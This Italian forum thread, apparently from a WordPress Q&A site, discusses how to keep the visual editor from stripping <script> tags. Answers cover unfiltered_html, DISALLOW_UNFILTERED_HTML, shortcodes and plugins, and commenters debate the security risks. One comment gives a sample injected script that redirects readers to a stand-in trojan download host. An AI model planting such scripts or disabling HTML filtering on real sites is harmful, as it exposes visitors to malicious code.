Impedire a WordPress di rimuovere i tag <script> durante il passaggio da HTML a Visuale (TinyMCE)
Ok, ho visto soluzioni che risolvono parzialmente questo problema, ma niente di definitivo e niente che risolva al 100% il mio problema.
Scenario:
- In modalità HTML, aggiungo del javascript a un post che sto modificando.
- Passo alla modalità Visuale, poi torno in HTML, e il tag <script> e tutto il suo contenuto sono spariti.
Come posso impedire che questo accada? Ho provato ad aggiungere codice personalizzato al mio functions.php cercando di accedere a extended_valid_elements per TinyMCE, ma niente funziona.
Per favore aiuto!
Ciò può essere fatto abbastanza facilmente concedendo la capacità unfiltered_html
al ruolo che desideri autorizzare per l'uso dei tag SCRIPT e IFRAME. Ovviamente, come menzionato da altri, ci sono rischi di sicurezza intrinseci, quindi sii giudizioso nel farlo.
Per saperne di più sulla concessione delle capacità, consulta la voce del WordPress Codex su add_cap().

Aggiungere JS direttamente nel contenuto è una pratica molto, molto sconsigliata, e rappresenta sostanzialmente un invito a farsi bucare il sito.
Aggiungilo tramite uno shortcode, o se proprio devi, usa un post meta/custom field per memorizzare il js e visualizzarlo dopo il contenuto nel tuo template usando echo get_post_meta($post->ID,'post_javascript',true );

Ehi Tom, penso che sarebbe davvero utile se potessi fornire qualche prova sul perché questa sia una cattiva pratica, e perché sia un invito a farsi hackerare!

perché chiunque può inserire qualsiasi cosa nel tuo contenuto, sia qualcosa che fa lampeggiare i tuoi collegamenti ipertestuali, sia qualcosa che esegue un download drive-by. Chiunque abbia accesso al tuo database o ai permessi di modifica dei post può usare il tuo sito per diffondere javascript malevolo

Inoltre, mescola contenuti/dati con funzionalità/controller e rende i tuoi contenuti non portabili tra temi, poiché cambiare tema romperebbe il contenuto.

ad es. "Ciao, questo è il mio primo post sul blog! <script>window.location="www.hackme.com/installtrojan";</script>"

Sostenerei che "chiunque abbia accesso al tuo DB o con permessi di modifica dei post" possa comunque rovinarti la giornata, e implementare questo tramite shortcode o post meta non farebbe alcuna differenza in termini di sicurezza. Allo stesso modo, non vedo come gli shortcode o i post meta separino contenuto/dati dalla funzionalità/controller più di quanto stia chiedendo @Buckers. Penso che questo sia un buon default per WordPress, non fraintendermi, ma personalmente non vedo alcun danno nell'override di questo comportamento con consenso informato, né vedo vantaggi di sicurezza o ortogonalità in ciò che proponi. Ma, ehi, forse mi sfugge qualcosa?

Con uno shortcode non posso semplicemente inserire qualsiasi vecchio JS, posso solo inserire il JS che intendi tu, poiché per aggiungere nuovo codice JS avrei bisogno di accesso ai file PHP che implementano quello shortcode, per lo stesso motivo per cui inserire PHP nel contenuto dei post è una pratica di sicurezza orrenda, ma ciò non significa che non puoi usare PHP per implementare shortcode (non sto assolutamente sostenendo l'implementazione di shortcode [js][/js]
, anche quelli sono pessimi)

Ah, scusa, ho interpretato male il tuo suggerimento. Ora ho capito; stai parlando di usare shortcode o post meta per raccogliere parametri, non JS stesso, ad esempio specificando un ID, un URL di un'immagine, ecc. Hai ragione, la risposta cambia radicalmente in base a ciò che @Buckers sta cercando di ottenere!

Ho risposto al mio post iniziale sopra con il mio requisito principale per questo. Attualmente sono l'unico con accesso admin al sito. A prescindere dalle preoccupazioni di sicurezza, vorrei semplicemente sapere se è possibile fare questo - e guardando questa risposta sembra che potrebbe esserlo.

È possibile, nello stesso modo in cui far avanzare la tua auto facendola esplodere da dietro, o permettere a pacchi più grandi di passare attraverso la tua buca delle lettere rimuovendo la porta d'ingresso. Se stai cercando un modo semplice per inserire codici AdSense arbitrari nel contenuto, ci sono metodi molto migliori per farlo. Cerca una soluzione al tuo problema, non una riparazione per la tua soluzione difettosa.

Senza dover pasticciare con il codice PHP dei template, puoi aggirare il problema segnalato dall'OP - così come il problema in cui su multisite nessuno tranne il super-admin ottiene la capacità unfiltered_html
menzionata da @Tom Auger - installando il plugin "Shortcoder". Questo plugin ti permette di creare "shortcode personalizzati" che semplicemente renderizzano del testo. Questo testo può essere qualsiasi cosa - incluso Javascript.
Io creo uno "shortcode personalizzato" per ogni pezzo di codice di cui ho bisogno (di solito uno per ogni codice personalizzato distinto di una pagina) e poi l'editor visuale vede lo shortcode e non lo rimuove.
È anche ottimo per il riutilizzo del codice Javascript, se hai più pagine che necessitano dello stesso (o simile) codice.

sembra molto insicuro su multisite (qualsiasi cosa che permetta l'inserimento di HTML non filtrato lo è) e in ogni caso, non sembra più essere supportato dall'autore

@MarkKaplun - Non sono sicuro del perché dici che il plugin non è supportato. Non è stato aggiornato di recente, ma probabilmente perché l'autore è occupato con altre cose (vedi i suoi post in altri forum). Comunque, funziona bene su 4.7.

Per quanto riguarda la questione sicurezza - continuo a vedere risposte su questo sito del tipo "non è sicuro fare questo o quello, quindi non farlo". Penso che chi risponde dovrebbe smetterla di imporre il proprio modello di sicurezza agli altri utenti. Se l'amministratore decide di installare un plugin e renderlo disponibile, presumo che abbia considerato le implicazioni sulla sicurezza. Nella mia installazione WPMS, tutti gli utenti sono attendibili (li creo manualmente), quindi se scelgo di rendere disponibile il plugin Shortcoder, è perché ho valutato le considerazioni sulla sicurezza e vanno bene. Mi aspetto che la maggior parte delle installazioni WPMS siano nella stessa categoria.

Il 99,9% degli utenti di WordPress non ha alcuna comprensione delle implicazioni di sicurezza di ciò che stanno facendo. Gli utenti non sono mai affidabili, il problema è che lo scoprirai solo dopo il fatto, quando sarà estremamente difficile riprendersi.

Per quanto riguarda il plugin, se l'autore non si preoccupa di aggiornare il file readme per indicare che dovrebbe funzionare su una versione rilasciata 3 mesi fa, è un buon indicatore che ha perso interesse nel plugin.

Poiché WPMS è così difficile da installare (devi modificare file di configurazione non banali), sarei propenso a sostenere che il livello degli amministratori WPMS è in qualche modo superiore alla media degli editor WP. Nel migliore dei casi, puoi spiegare le implicazioni di sicurezza (che tra l'altro non hai spiegato perché pensi che shortcoder sia un problema sui multisiti). Per quanto riguarda il problema del supporto - penso che prendere ciò che hai detto come un'indicazione sia un po' tirato per i capelli - personalmente supporto un paio di plugin WordPress, di solito non ho il tempo di testarli sull'ultima versione di WordPress per ogni rilascio, o talvolta nemmeno una volta all'anno.

e solo per il tuo beneficio sul perché gli utenti non sono affidabili, anche se li conosci personalmente... Sei davvero sicuro che non usino "123456" come password? Che lascino il nipote usare il loro computer, ecc.? Non limiti gli utenti perché potrebbero essere persone cattive, li limiti per ridurre i vettori di una violazione della sicurezza che avrà un impatto su più del loro account

Continuiamo questa discussione nella chat.

a partire dal 2024 puoi consentire HTML non filtrato nel file wp-config.php impostando DISALLOW_UNFILTERED_HTML su false in questo modo:
define( 'DISALLOW_UNFILTERED_HTML', false );
Riguardo agli aspetti di sicurezza: Abilitare l'HTML non filtrato impostando DISALLOW_UNFILTERED_HTML su false richiede fiducia nei tuoi amministratori e consapevolezza della sicurezza, poiché permette loro di inserire codice potenzialmente dannoso. Tuttavia, se un hacker ottiene l'accesso al tuo WordPress, le implicazioni per la sicurezza sono gravi indipendentemente da questa impostazione.

Esiste anche una soluzione per chi utilizza il plugin Elementor e non desidera installare ulteriori plugin:
- Dal menu admin vai a Template > Aggiungi nuovo
- Scegli "Contenitore" come tipo di template e assegnagli un nome che ti permetta di riconoscerlo facilmente per eventuali modifiche future.
- Nella schermata dell'editor di Elementor, clicca sul segno + per aggiungere un contenitore e inserisci al suo interno un widget HTML.
- Incolla il tuo script all'interno della casella HTML. (Nota che deve essere racchiuso tra i tag
<script></script>
) - Salva ed esci tornando alla lista dei contenitori. (Template > Template salvati > Contenitori)
- Individua il template appena creato e copia il suo shortcode dalla casella di fronte.
- Incolla questo shortcode in qualsiasi editor di testo e goditi il risultato.
